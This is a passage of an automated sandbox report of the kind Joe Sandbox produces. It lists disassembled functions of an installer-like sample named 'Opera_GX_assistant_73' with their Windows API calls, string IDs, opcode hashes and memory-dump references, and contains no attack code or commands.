                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@
                                                                                                                                                                                                                • String ID: 0FA$SetEnvironment${\rtf
                                                                                                                                                                                                                • API String ID: 613200358-2399711308
                                                                                                                                                                                                                • Opcode ID: aead385157c82b7c219bbd3d7c00389fbb86455fc61183a475b0089a0c44149e
                                                                                                                                                                                                                • Instruction ID: a9b0ba56adfd3770e1cd5829527a668cbe659d9fbc84a1bfbaef92eb180e3906
                                                                                                                                                                                                                • Opcode Fuzzy Hash: aead385157c82b7c219bbd3d7c00389fbb86455fc61183a475b0089a0c44149e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1A91BF71900109BBCF21EF91CC46AEEBB78AF1430AF20447BE941772E1DA795B46DB49
                                                                                                                                                                                                                Function 00407852 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetParent.USER32(?), ref: 00407860
                                                                                                                                                                                                                • GetWindowLongW.USER32(00000000), ref: 00407867
                                                                                                                                                                                                                • DefWindowProcW.USER32(?,?,?,?), ref: 0040787D
                                                                                                                                                                                                                • CallWindowProcW.USER32(?,?,?,?,?), ref: 0040789A
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000031), ref: 004078AC
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000032), ref: 004078B3
                                                                                                                                                                                                                • GetWindowDC.USER32(?), ref: 004078C5
                                                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 004078D2
                                                                                                                                                                                                                • DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 00407906
                                                                                                                                                                                                                • ReleaseDC.USER32(?,00000000), ref: 0040790E
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2586545124-0
                                                                                                                                                                                                                • Opcode ID: 3ece1157a758dadcf56a3a709e15e99760e1987f316051d3c357604a5bc7be5e
                                                                                                                                                                                                                • Instruction ID: 52be0402dc7b357b4bf34bc6e6a675404a41cf5866785f5d5035100a8e7da033
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3ece1157a758dadcf56a3a709e15e99760e1987f316051d3c357604a5bc7be5e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3B21FC7660021ABFDB019FA8ED48EDF3BADFB48351F048521FA15E2191CB74E920CB65
                                                                                                                                                                                                                Function 00403BCE Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403C15
                                                                                                                                                                                                                  • Part of subcall function 00402A39: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00402AAC
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403C3B
                                                                                                                                                                                                                • wsprintfA.USER32 ref: 00403C5D
                                                                                                                                                                                                                • wsprintfA.USER32 ref: 00403C8A
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$wsprintf
                                                                                                                                                                                                                • String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
                                                                                                                                                                                                                • API String ID: 2704270482-695273242
                                                                                                                                                                                                                • Opcode ID: f49523a2291f1971c7c1c4c7b7f678881820b371c4b6fcae318aa363513aa49d
                                                                                                                                                                                                                • Instruction ID: 1b8667397c12d336e930ce8dd478f3c0f5fcbcef1a4eca0425c6607baeb60929
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f49523a2291f1971c7c1c4c7b7f678881820b371c4b6fcae318aa363513aa49d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F12121B17005086BDF05EAA58D85EFE73ADAB88708F14402EB505F31C1DBBCAA458759
                                                                                                                                                                                                                Function 00404F96 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78synchronizationCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • memset.MSVCRT ref: 00404FBA
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,00000000), ref: 00405013
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 0040501B
                                                                                                                                                                                                                • ShellExecuteExW.SHELL32(?), ref: 00405039
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(00406A98,000000FF), ref: 00405051
                                                                                                                                                                                                                • CloseHandle.KERNEL32(00406A98), ref: 0040505A
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 00405061
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
                                                                                                                                                                                                                • String ID: $WA
                                                                                                                                                                                                                • API String ID: 2700081640-874810811
                                                                                                                                                                                                                • Opcode ID: 3dad7f3609fc777b96927d682e2c8745c59061873fc16912b4cf419d48e2912f
                                                                                                                                                                                                                • Instruction ID: 8cdcfedd5936f543e78769933c75d32c6245f9f3c5592d88d5a60bc16fc1c1df
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3dad7f3609fc777b96927d682e2c8745c59061873fc16912b4cf419d48e2912f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: C0216D71804209ABDF11EF95D845AEFBBB8EF44318F10812BFA15B61A0DB785989CF84
                                                                                                                                                                                                                Function 00407057 Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B3), ref: 0040706B
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 0040707E
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B4), ref: 00407088
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 00407090
                                                                                                                                                                                                                • SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004070A0
                                                                                                                                                                                                                • GetDlgItem.USER32(?,?), ref: 004070A9
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004070B1
                                                                                                                                                                                                                • GetDlgItem.USER32(?,?), ref: 004070BA
                                                                                                                                                                                                                • SetFocus.USER32(00000000,?,?,00000000,00407FAE,000004B3,00000000,?,000004B3), ref: 004070BD
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ItemMessageSend$Focus
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3946207451-0
                                                                                                                                                                                                                • Opcode ID: 0fc6dd28cd98c92534448f4fcc92f52223e7101c96fd3207fd34216a5bdc41e5
                                                                                                                                                                                                                • Instruction ID: 5d9f80474de4dcc3f376415b50596b4d6f25ba69a104e928cd55d4f6a31a8c04
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0fc6dd28cd98c92534448f4fcc92f52223e7101c96fd3207fd34216a5bdc41e5
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 46F04F712403087BEA212B61DD86F9BBA5EDF80B94F018425F350660F0CBF3AC509A28
                                                                                                                                                                                                                Function 00407678 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(uxtheme,?,004089BB,000004B1,00000000,?,?,?,?,?,00408AC8), ref: 00407680
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407691
                                                                                                                                                                                                                • GetWindow.USER32(?,00000005), ref: 004076AA
                                                                                                                                                                                                                • GetWindow.USER32(00000000,00000002), ref: 004076C0
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Window$AddressLibraryLoadProc
                                                                                                                                                                                                                • String ID: XA$SetWindowTheme$uxtheme
                                                                                                                                                                                                                • API String ID: 324724604-3019689983
                                                                                                                                                                                                                • Opcode ID: 1868035f0e72e64a460ab4f3ad1c9a181874f3c559f2ba787c374269699430c0
                                                                                                                                                                                                                • Instruction ID: f904700b681b15efec0ce33b5b1de5db2a7474ba9eb9f73b1446f12cb5275619
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1868035f0e72e64a460ab4f3ad1c9a181874f3c559f2ba787c374269699430c0
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F8F02732A45F2573C231126A6C48EAB7A9CDFC5B307064536B804F7380DA6ADC4081ED
                                                                                                                                                                                                                Function 004076CD Relevance: 12.1, APIs: 8, Instructions: 69COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • memcpy.MSVCRT(?,00418428,00000160), ref: 004076EC
                                                                                                                                                                                                                • SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 0040770B
                                                                                                                                                                                                                • GetDC.USER32(00000000), ref: 00407716
                                                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407722
                                                                                                                                                                                                                • MulDiv.KERNEL32(?,00000048,00000000), ref: 00407731
                                                                                                                                                                                                                • ReleaseDC.USER32(00000000,?), ref: 0040773F
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000), ref: 00407767
                                                                                                                                                                                                                • DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00006F0F), ref: 0040779C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2693764856-0
                                                                                                                                                                                                                • Opcode ID: f31c46d79efd12f0c6e31496684c0613d70d8776a133cac82a1eefdee8320659
                                                                                                                                                                                                                • Instruction ID: afc10ac911df07e4e6cf66ea75b89f896700515d4e888b71f534ad2bf84f0f11
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f31c46d79efd12f0c6e31496684c0613d70d8776a133cac82a1eefdee8320659
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5321D5B1940219BFD7215FA19C89EEB7B7CFF44741F0000B6FA09E2290D7345E948B69
                                                                                                                                                                                                                Function 0040723B Relevance: 12.1, APIs: 8, Instructions: 68COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetDC.USER32(?), ref: 0040724B
                                                                                                                                                                                                                • GetSystemMetrics.USER32(0000000B), ref: 00407267
                                                                                                                                                                                                                • GetSystemMetrics.USER32(0000003D), ref: 00407270
                                                                                                                                                                                                                • GetSystemMetrics.USER32(0000003E), ref: 00407278
                                                                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00407295
                                                                                                                                                                                                                • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004072B0
                                                                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 004072D6
                                                                                                                                                                                                                • ReleaseDC.USER32(?,?), ref: 004072E5
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: MetricsSystem$ObjectSelect$DrawReleaseText
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2466489532-0
                                                                                                                                                                                                                • Opcode ID: 3fc5bb8d8ce0059ed4a313ac0909580b77e08559f279fdacdcb38977844fadab
                                                                                                                                                                                                                • Instruction ID: 6f10caf3c91ec906ab8c69a2f752e165f8fbbbb970a8871ef44e176c1e6f5179
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3fc5bb8d8ce0059ed4a313ac0909580b77e08559f279fdacdcb38977844fadab
                                                                                                                                                                                                                • Instruction Fuzzy Hash: ED216A72900209AFCB018FA5DD44A8EBFF4EF48360F11C4AAF519A72A0D335AA40DF44
                                                                                                                                                                                                                Function 0040CD59 Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 42COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _CxxThrowException.MSVCRT(x\A,00415FC8), ref: 0040CDF1
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExceptionThrow
                                                                                                                                                                                                                • String ID: $\A$4\A$D\A$T\A$h\A$x\A$x\A
                                                                                                                                                                                                                • API String ID: 432778473-4237324355
                                                                                                                                                                                                                • Opcode ID: 42af2ecacb29d270843999158bbdf4f88e41a002526f962cdbd600073b257eea
                                                                                                                                                                                                                • Instruction ID: 4c22c63eab4b6001538c3dc2317f457de0ef6912c253ce436c5b2a5e9cf33ab3
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 42af2ecacb29d270843999158bbdf4f88e41a002526f962cdbd600073b257eea
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 771190B0511F44DBC730DF16D5884CAFBF8AF957187108A1FD19A9BA50E3F8A189CB98
                                                                                                                                                                                                                Function 004081A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081E3
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B8), ref: 00408201
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 00408213
                                                                                                                                                                                                                • wsprintfW.USER32 ref: 00408231
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 004082C9
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
                                                                                                                                                                                                                • String ID: %d%%
                                                                                                                                                                                                                • API String ID: 3753976982-1518462796
                                                                                                                                                                                                                • Opcode ID: 457fc8b35127749c65dd16bf8158b9fc58c40c98c13063741f6e3564d0e2e04f
                                                                                                                                                                                                                • Instruction ID: d547d5554fea010f519209f47393056b7b5c94104caa36f0b20f7048e519bd49
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 457fc8b35127749c65dd16bf8158b9fc58c40c98c13063741f6e3564d0e2e04f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6B31B131900704BBCB11AFA0DE45EDA7BB9FF44704F10846EF646A62E1CB79AA10CB58
                                                                                                                                                                                                                Function 004083C0 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • EndDialog.USER32(?,00000000), ref: 004083DA
                                                                                                                                                                                                                • KillTimer.USER32(?,00000001), ref: 004083EB
                                                                                                                                                                                                                • SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408415
                                                                                                                                                                                                                • SuspendThread.KERNEL32(00000294), ref: 0040842E
                                                                                                                                                                                                                • ResumeThread.KERNEL32(00000294), ref: 0040844B
                                                                                                                                                                                                                • EndDialog.USER32(?,00000000), ref: 0040846D
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: DialogThreadTimer$KillResumeSuspend
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 4151135813-0
                                                                                                                                                                                                                • Opcode ID: e75cb11098a165f3e00a93ead61a02ee0602d1603e20a081ddaa5bed579dc4cd
                                                                                                                                                                                                                • Instruction ID: 48b16cdcac2f029ef5c3ce809d25cb41ce606689494225ec37f78696aa4d263a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e75cb11098a165f3e00a93ead61a02ee0602d1603e20a081ddaa5bed579dc4cd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 79118F71600209AFD7202F62FE84AA73BADEB80B45714C43EF596A11B1DF359C01DA5C
                                                                                                                                                                                                                Function 0040405E Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041472C,?,?,00000000,0040464E,?,?,00000000,?,?,0040628F,?), ref: 004040A4
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041471C,?,?,?,%%M\,0041472C,?,?,00000000,0040464E,?,?), ref: 004040E2
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041471C,?,?,?,%%M\,0041472C,?,?,00000000), ref: 00404108
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041471C,?,?,?,%%M\,0041472C,?,?), ref: 00404110
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@
                                                                                                                                                                                                                • String ID: %%M/$%%M\
                                                                                                                                                                                                                • API String ID: 613200358-4143866494
                                                                                                                                                                                                                • Opcode ID: 930ba2b452bb338f3708720a774b8cfd5dcf9c46a5eeea08537740bd0aa8effb
                                                                                                                                                                                                                • Instruction ID: ae7ccff3c4984ef899f0664094611f881c6179175724c87e9ac4d6adf99dc5ad
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 930ba2b452bb338f3708720a774b8cfd5dcf9c46a5eeea08537740bd0aa8effb
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AF11D73190010EAACF05FFA1D956DEEBB79AF00318F50456AB521760E1DBB86699CB88
                                                                                                                                                                                                                Function 00403EE8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041472C,?,?,00000000,0040464E,?,?,00000000,?,?,0040628F,?), ref: 00403F2E
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041471C,?,?,?,%%T\,0041472C,?,?,00000000,0040464E,?,?), ref: 00403F6C
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041471C,?,?,?,%%T\,0041472C,?,?,00000000), ref: 00403F92
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041471C,?,?,?,%%T\,0041472C,?,?), ref: 00403F9A
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
